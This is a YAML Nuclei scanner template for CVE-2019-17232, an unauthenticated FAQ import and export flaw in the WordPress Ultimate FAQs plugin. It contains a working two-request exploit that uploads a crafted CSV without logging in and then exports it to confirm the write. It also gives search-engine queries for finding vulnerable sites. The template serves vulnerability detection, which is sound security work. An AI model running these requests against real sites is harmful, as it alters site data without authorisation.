CVE-2019-17232: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export

id: CVE-2019-17232

info:
  name: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export
  author: daffainfo
  severity: high
  description: |
    Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows unauthenticated options import.
  reference:
    - https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17232
    - https://wordpress.org/plugins/ultimate-faqs/#developers
    - https://wpvulndb.com/vulnerabilities/9883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17232
    cwe-id: CWE-306
    epss-score: 0.19477
    epss-percentile: 0.9518
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-faqs"
    shodan-query: http.html:"/wp-content/plugins/ultimate-faqs"
    fofa-query: body="/wp-content/plugins/ultimate-faqs"
  tags: cve,cve2019,wordpress,wp-plugin,wp,ultimate-faqs,unauth,intrusive,vkev,vuln

variables:
  question: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5

        ------WebKitFormBoundary34ZHf69LbDjZlcL5
        Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="{{filename}}.csv"
        Content-Type: application/csv

        "Question","Answer","Categories","Tags","Post Date"
        "{{question}}","{{string}}","","","2025-09-17 17:16:33"
        ------WebKitFormBoundary34ZHf69LbDjZlcL5--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, 'reauth=1')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?Action=EWD_UFAQ_ExportToSpreadsheet HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Question"'
          - '"Answer"'
          - '"Categories"'
          - '{{string}}'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203efce8b4d9694f62f08889473416503d8eac0520851e1ce30f8422f62ae65d8802200be9a80ea8e4b5a328e49239523cae03a0f5f19c5d98ace7e06163dda359ccb3:922c64590222798bb761d5b6d8e72950